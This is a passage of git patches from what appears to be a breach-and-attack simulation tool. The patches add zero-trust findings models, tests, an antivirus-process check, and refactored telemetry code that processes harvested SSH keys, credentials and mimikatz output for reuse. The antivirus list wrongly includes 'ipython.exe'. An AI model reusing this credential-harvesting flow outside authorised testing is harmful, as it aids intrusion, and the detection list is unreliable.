@@ -0,0 +1,18 @@ +from unittest import TestCase + + +class TestPower_set(TestCase): + def test_power_set(self): + before = ('a', 'b', 'c') + after_expected = [ + ('a', ), + ('b',), + ('c',), + ('a', 'b'), + ('a', 'c'), + ('b', 'c'), + ('a', 'b', 'c'), + ] + + from common.utils.itertools_extensions import power_set + self.assertEquals(list(power_set(before)), after_expected) From 547067c4dad2755f01215c968b6360447cd8cd98 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 11 Aug 2019 17:49:24 +0300 Subject: [PATCH 067/276] made power set return lists for ease of usage --- monkey/common/utils/itertools_extensions.py | 2 +- monkey/common/utils/test_power_set.py | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/common/utils/itertools_extensions.py b/monkey/common/utils/itertools_extensions.py index b806a659b..b27181ff6 100644 --- a/monkey/common/utils/itertools_extensions.py +++ b/monkey/common/utils/itertools_extensions.py @@ -6,4 +6,4 @@ def power_set(iterable): https://docs.python.org/3/library/itertools.html#itertools-recipes """ s = list(iterable) - return chain.from_iterable(combinations(s, r) for r in range(1, len(s) + 1)) \ No newline at end of file + return [list(x) for x in list(chain.from_iterable(combinations(s, r) for r in range(1, len(s) + 1)))] \ No newline at end of file diff --git a/monkey/common/utils/test_power_set.py b/monkey/common/utils/test_power_set.py index 9c5798327..22410fe30 100644 --- a/monkey/common/utils/test_power_set.py +++ b/monkey/common/utils/test_power_set.py @@ -5,14 +5,14 @@ class TestPower_set(TestCase): def test_power_set(self): before = ('a', 'b', 'c') after_expected = [ - ('a', ), - ('b',), - ('c',), - ('a', 'b'), - ('a', 'c'), - ('b', 'c'), - ('a', 'b', 'c'), + ['a'], + ['b'], + ['c'], + ['a', 'b'], + ['a', 'c'], + ['b', 'c'], + ['a', 'b', 'c'], ] from common.utils.itertools_extensions import power_set - self.assertEquals(list(power_set(before)), after_expected) + self.assertEquals(power_set(before), after_expected) From 14b5d5f658856591ee608a99f304d16f866995a7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 11 Aug 2019 17:56:37 +0300 Subject: [PATCH 068/276] Added consts file for zero trust --- monkey/common/data/__init__.py | 0 monkey/common/data/zero_trust_consts.py | 101 ++++++++++++++++++++++++ 2 files changed, 101 insertions(+) create mode 100644 monkey/common/data/__init__.py create mode 100644 monkey/common/data/zero_trust_consts.py diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py new file mode 100644 index 000000000..6d01fbfc4 --- /dev/null +++ b/monkey/common/data/zero_trust_consts.py @@ -0,0 +1,101 @@ +AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" +VISIBILITY_ANALYTICS = u"Visibility & Analytics" +WORKLOADS = u"Workloads" +DEVICES = u"Devices" +NETWORKS = u"Networks" +PEOPLE = u"People" +DATA = u"Data" +PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) + +STATUS_UNEXECUTED = u"Unexecuted" +STATUS_POSITIVE = u"Positive" +STATUS_INCONCLUSIVE = u"Inconclusive" +STATUS_CONCLUSIVE = u"Conclusive" +TEST_STATUSES = (STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED) + +TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" +TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" +TEST_MACHINE_EXPLOITED = u"machine_exploited" +TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" +TEST_SCHEDULED_EXECUTION = u"scheduled_execution" +TEST_ACTIVITY_TIMELINE = u"malicious_activity_timeline" +TEST_SEGMENTATION = u"segmentation" +TESTS = ( + TEST_SEGMENTATION, + TEST_ACTIVITY_TIMELINE, + TEST_SCHEDULED_EXECUTION, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_MACHINE_EXPLOITED, + TEST_DATA_ENDPOINT_HTTP, + TEST_DATA_ENDPOINT_ELASTIC +) + +DIRECTIVE_DATA_TRANSIT = u"data_transit" +DIRECTIVE_ENDPOINT_SECURITY = u"endpoint_security" +DIRECTIVE_USER_BEHAVIOUR = u"user_behaviour" +DIRECTIVE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +DIRECTIVE_SEGMENTATION = u"segmentation" +DIRECTIVES = { + DIRECTIVE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + DIRECTIVE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + DIRECTIVE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + DIRECTIVE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + DIRECTIVE_DATA_TRANSIT: u"Secure data at transit by encrypting it." +} + +POSSIBLE_STATUSES_KEY = u"possible_statuses" +PILLARS_KEY = u"pillars" +DIRECTIVE_KEY = u"directive_key" +FINDING_FORMAT_KEY = u"finding_format" +EXPLANATION_KEY = u"explanation" +TESTS_MAP = { + TEST_SEGMENTATION: { + EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + FINDING_FORMAT_KEY: u"The Monkey from {ORIGIN} communicated with a machine on a different segment.", + DIRECTIVE_KEY: DIRECTIVE_SEGMENTATION, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] + }, + TEST_ACTIVITY_TIMELINE: { + EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + FINDING_FORMAT_KEY: u"Malicious activity performed by the Monkeys. See 'events' for detailed information.", + DIRECTIVE_KEY: DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + }, + TEST_ENDPOINT_SECURITY_EXISTS: { + EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", + FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found no active endpoint security processes.", + DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + }, + TEST_MACHINE_EXPLOITED: { + EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", + FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} attempted to exploit a machine on {TARGET}.", + DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE] + }, + TEST_SCHEDULED_EXECUTION: { + EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", + FINDING_FORMAT_KEY: "The Monkey on {ORIGIN} started running in an executed manner.", + DIRECTIVE_KEY: DIRECTIVE_USER_BEHAVIOUR, + PILLARS_KEY: [PEOPLE, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + }, + TEST_DATA_ENDPOINT_ELASTIC: { + EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", + FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found an open ElasticSearch instance.", + DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + }, + TEST_DATA_ENDPOINT_HTTP: { + EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", + FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found an open HTTP server.", + DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + }, +} From 1a38a8ca93b4c4202ebe19cf42a922693e2663c6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 11 Aug 2019 17:57:11 +0300 Subject: [PATCH 069/276] Added basic finding and event data models --- monkey/monkey_island/cc/models/event.py | 10 ++++ monkey/monkey_island/cc/models/finding.py | 47 +++++++++++++++++++ .../monkey_island/cc/models/test_finding.py | 40 ++++++++++++++++ 3 files changed, 97 insertions(+) create mode 100644 monkey/monkey_island/cc/models/event.py create mode 100644 monkey/monkey_island/cc/models/finding.py create mode 100644 monkey/monkey_island/cc/models/test_finding.py diff --git a/monkey/monkey_island/cc/models/event.py b/monkey/monkey_island/cc/models/event.py new file mode 100644 index 000000000..dd277c7c9 --- /dev/null +++ b/monkey/monkey_island/cc/models/event.py @@ -0,0 +1,10 @@ +from mongoengine import EmbeddedDocument, DateTimeField, StringField + +EVENT_TYPES = ("monkey_local_action", "monkey_network_action", "island_action") + + +class Event(EmbeddedDocument): + timestamp = DateTimeField(required=True) + title = StringField(required=True) + message = StringField() + event_type = StringField(required=True, choices=EVENT_TYPES) diff --git a/monkey/monkey_island/cc/models/finding.py b/monkey/monkey_island/cc/models/finding.py new file mode 100644 index 000000000..c01e6b955 --- /dev/null +++ b/monkey/monkey_island/cc/models/finding.py @@ -0,0 +1,47 @@ +""" +Define a Document Schema for Zero Trust findings. +""" + +from mongoengine import Document, StringField, ListField, EmbeddedDocumentField + +# Dummy import for mongoengine. +# noinspection PyUnresolvedReferences +from event import Event + +from common.data.zero_trust_consts import TEST_STATUSES, PILLARS, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY + + +class Finding(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA + test = StringField(required=True, choices=TESTS) + status = StringField(required=True, choices=TEST_STATUSES) + events = ListField(field=EmbeddedDocumentField('Event')) + + # LOGIC + def get_test_explanation(self): + return TESTS_MAP[self.test][EXPLANATION_KEY] + + def get_pillars(self): + return TESTS_MAP[self.test][PILLARS_KEY] + + # Creation methods + @staticmethod + def save_finding(test, status, events): + finding = Finding( + test=test, + status=status, + events=events) + + finding.save() + + return finding + + +class UnknownTest(Exception): + pass diff --git a/monkey/monkey_island/cc/models/test_finding.py b/monkey/monkey_island/cc/models/test_finding.py new file mode 100644 index 000000000..69a3986c1 --- /dev/null +++ b/monkey/monkey_island/cc/models/test_finding.py @@ -0,0 +1,40 @@ +from datetime import datetime + +from mongoengine import ValidationError + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, NETWORKS +from finding import Finding, UnknownTest +from monkey_island.cc.models.event import Event + +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestFinding(IslandTestCase): + """ + Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server.json file is found and loaded. + """ + def test_save_finding_validation(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test="bla bla", status="Conclusive", events=[]) + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) + + def test_save_finding_sanity(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + event_example = Event(timestamp=datetime.now(), title="Event Title", message="event message", event_type="monkey_network_action") + Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_CONCLUSIVE, events=[event_example]) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) + self.assertEquals(len(Finding.objects(status=STATUS_CONCLUSIVE)), 1) From cabf2353439c3ec334e37c1b945f959d8b2848c4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 11 Aug 2019 18:10:20 +0300 Subject: [PATCH 070/276] WIP added AV hook to sysinfo telem --- .../monkey_island/cc/resources/telemetry.py | 67 ++++++++++++++----- 1 file changed, 51 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 279547dc1..9e71d586c 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -7,8 +7,10 @@ import dateutil import flask_restful from flask import request +from common.data.zero_trust_consts import TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, STATUS_CONCLUSIVE from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo +from monkey_island.cc.models.finding import Finding from monkey_island.cc.services import mimikatz_utils from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService @@ -176,8 +178,56 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): - users_secrets = {} + Telemetry.process_ssh_info(telemetry_json) + Telemetry.process_credential_info(telemetry_json) monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + Telemetry.process_mimikatz_and_wmi_info(monkey_id, telemetry_json) + Telemetry.process_aws_data(monkey_id, telemetry_json) + Telemetry.test_antivirus_existance(telemetry_json) + + @staticmethod + def test_antivirus_existance(telemetry_json): + anti_virus_software = [ + "SSPService.exe" + ] + if 'process_list' in telemetry_json['data']: + found_av = False + for process in telemetry_json['data']['process_list']: + if process['name'] in anti_virus_software: + found_av = True + # TODO add event here + if found_av: + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_POSITIVE, events=[]) + else: + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_CONCLUSIVE, events=[]) + + @staticmethod + def process_mimikatz_and_wmi_info(monkey_id, telemetry_json): + users_secrets = {} + if 'mimikatz' in telemetry_json['data']: + users_secrets = mimikatz_utils.MimikatzSecrets. \ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.process_and_handle_wmi_info() + + @staticmethod + def process_aws_data(monkey_id, telemetry_json): + if 'aws' in telemetry_json['data']: + if 'instance_id' in telemetry_json['data']['aws']: + mongo.db.monkey.update_one({'_id': monkey_id}, + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) + + @staticmethod + def process_credential_info(telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + Telemetry.encrypt_system_info_creds(creds) + Telemetry.add_system_info_creds_to_config(creds) + Telemetry.replace_user_dot_with_comma(creds) + + @staticmethod + def process_ssh_info(telemetry_json): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) @@ -185,21 +235,6 @@ class Telemetry(flask_restful.Resource): # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_ssh_keys_to_config(ssh_info) - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] - Telemetry.encrypt_system_info_creds(creds) - Telemetry.add_system_info_creds_to_config(creds) - Telemetry.replace_user_dot_with_comma(creds) - if 'mimikatz' in telemetry_json['data']: - users_secrets = mimikatz_utils.MimikatzSecrets. \ - extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) - if 'wmi' in telemetry_json['data']: - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.process_and_handle_wmi_info() - if 'aws' in telemetry_json['data']: - if 'instance_id' in telemetry_json['data']['aws']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): From 40ba116a04fa9681a42bfed526ec9851cde13ab3 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 12 Aug 2019 11:49:16 +0300 Subject: [PATCH 071/276] Improved the event API and added UTs for validation --- monkey/common/data/zero_trust_consts.py | 4 +++ monkey/monkey_island/cc/models/event.py | 17 +++++++++- monkey/monkey_island/cc/models/finding.py | 7 ++--- monkey/monkey_island/cc/models/test_event.py | 31 +++++++++++++++++++ .../monkey_island/cc/models/test_finding.py | 5 +-- 5 files changed, 57 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/cc/models/test_event.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 6d01fbfc4..c37b261fe 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -99,3 +99,7 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, } +EVENT_TYPE_ISLAND = "island" +EVENT_TYPE_MONKEY_NETWORK = "monkey_network" +EVENT_TYPE_MONKEY_LOCAL = "monkey_local" +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) \ No newline at end of file diff --git a/monkey/monkey_island/cc/models/event.py b/monkey/monkey_island/cc/models/event.py index dd277c7c9..0b8386ff8 100644 --- a/monkey/monkey_island/cc/models/event.py +++ b/monkey/monkey_island/cc/models/event.py @@ -1,6 +1,8 @@ +from datetime import datetime + from mongoengine import EmbeddedDocument, DateTimeField, StringField -EVENT_TYPES = ("monkey_local_action", "monkey_network_action", "island_action") +from common.data.zero_trust_consts import EVENT_TYPES class Event(EmbeddedDocument): @@ -8,3 +10,16 @@ class Event(EmbeddedDocument): title = StringField(required=True) message = StringField() event_type = StringField(required=True, choices=EVENT_TYPES) + + @staticmethod + def create_event(title, message, event_type): + event = Event( + timestamp=datetime.now(), + title=title, + message=message, + event_type=event_type + ) + + event.validate(clean=True) + + return event diff --git a/monkey/monkey_island/cc/models/finding.py b/monkey/monkey_island/cc/models/finding.py index c01e6b955..d67b10247 100644 --- a/monkey/monkey_island/cc/models/finding.py +++ b/monkey/monkey_island/cc/models/finding.py @@ -2,14 +2,13 @@ Define a Document Schema for Zero Trust findings. """ -from mongoengine import Document, StringField, ListField, EmbeddedDocumentField +from mongoengine import Document, StringField, EmbeddedDocumentListField +from common.data.zero_trust_consts import TEST_STATUSES, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from event import Event -from common.data.zero_trust_consts import TEST_STATUSES, PILLARS, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY - class Finding(Document): """ @@ -21,7 +20,7 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=TESTS) status = StringField(required=True, choices=TEST_STATUSES) - events = ListField(field=EmbeddedDocumentField('Event')) + events = EmbeddedDocumentListField(document_type=Event) # LOGIC def get_test_explanation(self): diff --git a/monkey/monkey_island/cc/models/test_event.py b/monkey/monkey_island/cc/models/test_event.py new file mode 100644 index 000000000..f36f4f562 --- /dev/null +++ b/monkey/monkey_island/cc/models/test_event.py @@ -0,0 +1,31 @@ +from mongoengine import ValidationError + +from common.data.zero_trust_consts import EVENT_TYPE_ISLAND +from monkey_island.cc.models.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestEvent(IslandTestCase): + def test_create_event(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + with self.assertRaises(ValidationError): + Event.create_event( + title=None, # title required + message="bla bla", + event_type=EVENT_TYPE_ISLAND + ) + + with self.assertRaises(ValidationError): + Event.create_event( + title="skjs", + message="bla bla", + event_type="Unknown" # Unknown event type + ) + + _ = Event.create_event( + title="skjs", + message="bla bla", + event_type=EVENT_TYPE_ISLAND # Unknown event type + ) diff --git a/monkey/monkey_island/cc/models/test_finding.py b/monkey/monkey_island/cc/models/test_finding.py index 69a3986c1..2b52553da 100644 --- a/monkey/monkey_island/cc/models/test_finding.py +++ b/monkey/monkey_island/cc/models/test_finding.py @@ -2,7 +2,7 @@ from datetime import datetime from mongoengine import ValidationError -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, NETWORKS +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, NETWORKS, EVENT_TYPE_MONKEY_NETWORK from finding import Finding, UnknownTest from monkey_island.cc.models.event import Event @@ -33,7 +33,8 @@ class TestFinding(IslandTestCase): self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) - event_example = Event(timestamp=datetime.now(), title="Event Title", message="event message", event_type="monkey_network_action") + event_example = Event.create_event( + title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_CONCLUSIVE, events=[event_example]) self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) From 829d9bc6f978f7d901290d6a18d767c981941ee8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 12 Aug 2019 11:49:37 +0300 Subject: [PATCH 072/276] Added AV test, not tested yet! --- .../monkey_island/cc/resources/telemetry.py | 23 ++++++++++++++----- 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 9e71d586c..7e510a124 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -7,9 +7,11 @@ import dateutil import flask_restful from flask import request -from common.data.zero_trust_consts import TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, STATUS_CONCLUSIVE +from common.data.zero_trust_consts import TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, STATUS_CONCLUSIVE, \ + EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo +from monkey_island.cc.models.event import Event from monkey_island.cc.models.finding import Finding from monkey_island.cc.services import mimikatz_utils from monkey_island.cc.services.config import ConfigService @@ -183,23 +185,32 @@ class Telemetry(flask_restful.Resource): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') Telemetry.process_mimikatz_and_wmi_info(monkey_id, telemetry_json) Telemetry.process_aws_data(monkey_id, telemetry_json) - Telemetry.test_antivirus_existance(telemetry_json) + Telemetry.test_antivirus_existence(telemetry_json, monkey_id) @staticmethod - def test_antivirus_existance(telemetry_json): + def test_antivirus_existence(telemetry_json, monkey_id): anti_virus_software = [ "SSPService.exe" ] if 'process_list' in telemetry_json['data']: + process_list_event = Event.create_event( + title="Process list", + message="Monkey {} scanned the process list".format(monkey_id), + event_type=EVENT_TYPE_MONKEY_LOCAL) + events = [process_list_event] found_av = False for process in telemetry_json['data']['process_list']: if process['name'] in anti_virus_software: found_av = True - # TODO add event here + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process details: ".format(process['name'], str(process)), + event_type=EVENT_TYPE_ISLAND + )) if found_av: - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_POSITIVE, events=[]) + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_POSITIVE, events=events) else: - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_CONCLUSIVE, events=[]) + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_CONCLUSIVE, events=events) @staticmethod def process_mimikatz_and_wmi_info(monkey_id, telemetry_json): From 2eb34821f8d9d189ad570c8d922ca0bb3eac5a67 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 12 Aug 2019 16:56:11 +0300 Subject: [PATCH 073/276] Fixed telemetry access in AV test - it now works! --- monkey/common/data/zero_trust_consts.py | 7 ++++++- .../monkey_island/cc/resources/telemetry.py | 21 +++++++++++-------- 2 files changed, 18 insertions(+), 10 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index c37b261fe..db18f056a 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -102,4 +102,9 @@ TESTS_MAP = { EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" EVENT_TYPE_MONKEY_LOCAL = "monkey_local" -EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) \ No newline at end of file +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) + +ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ + u"SSPService.exe", + u"ipython.exe" +] diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 7e510a124..fc2648589 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -8,7 +8,7 @@ import flask_restful from flask import request from common.data.zero_trust_consts import TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, STATUS_CONCLUSIVE, \ - EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND + EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, ANTI_VIRUS_KNOWN_PROCESS_NAMES from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.models.event import Event @@ -189,28 +189,31 @@ class Telemetry(flask_restful.Resource): @staticmethod def test_antivirus_existence(telemetry_json, monkey_id): - anti_virus_software = [ - "SSPService.exe" - ] if 'process_list' in telemetry_json['data']: process_list_event = Event.create_event( title="Process list", message="Monkey {} scanned the process list".format(monkey_id), event_type=EVENT_TYPE_MONKEY_LOCAL) events = [process_list_event] + found_av = False - for process in telemetry_json['data']['process_list']: - if process['name'] in anti_virus_software: + all_processes = telemetry_json['data']['process_list'].items() + for process in all_processes: + process_name = process[1]['name'] + if process_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES: found_av = True events.append(Event.create_event( title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process details: ".format(process['name'], str(process)), + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: ".format(process_name, str(process)), event_type=EVENT_TYPE_ISLAND )) + if found_av: - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_POSITIVE, events=events) + test_status = STATUS_POSITIVE else: - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_CONCLUSIVE, events=events) + test_status = STATUS_CONCLUSIVE + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) @staticmethod def process_mimikatz_and_wmi_info(monkey_id, telemetry_json): From 47375efe42fb0a01441e27496cce7796fbfc9c08 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 12 Aug 2019 18:21:55 +0300 Subject: [PATCH 074/276] Findings resource is now real data from the DB instead of mock data. --- .../cc/resources/reporting/report.py | 53 ++++++++----------- .../zerotrust/EventsTimeline.js | 20 +++---- 2 files changed, 33 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 384ca09fe..61a034e45 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -1,9 +1,12 @@ import httplib +import json import flask_restful from flask import jsonify +from common.data.zero_trust_consts import TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY from monkey_island.cc.auth import jwt_required +from monkey_island.cc.models.finding import Finding from monkey_island.cc.services.reporting.report import ReportService ZERO_TRUST_REPORT_TYPE = "zero_trust" @@ -35,37 +38,25 @@ class Report(flask_restful.Resource): def get_all_findings(): - return [ - { - "test": "Monkey 8 found a machine with no AV software active.", - "conclusive": False, - "pillars": ["Devices"], - "events": [ - { - "timestamp": "2019-08-01 14:48:46.112000", - "title": "Monkey performed an action", - "type": "MonkeyAction", - "message": "log1" - }, { - "timestamp": "2019-08-01 14:48:42.112000", - "title": "Analysis", - "type": "IslandAction", - "message": "log2" - }] - }, - { - "test": "Monkey 6 successfully exploited machine XXX with shellshock.", - "conclusive": True, - "pillars": ["Devices", "Networks"], - "events": [ - { - "timestamp": "2019-08-01 14:48:46.112000", - "title": "Analysis", - "type": "MonkeyAction", - "message": "log3" - }] - } - ] + all_findings = Finding.objects() + enriched_findings = [get_enriched_finding(f) for f in all_findings] + return enriched_findings + + +def get_events_as_dict(events): + return [json.loads(event.to_json()) for event in events] + + +def get_enriched_finding(finding): + test_info = TESTS_MAP[finding.test] + enriched_finding = { + # TODO add test explanation per status. + "test": test_info[EXPLANATION_KEY], + "pillars": test_info[PILLARS_KEY], + "status": finding.status, + "events": get_events_as_dict(finding.events) + } + return enriched_finding def get_recommendations_status(): diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js 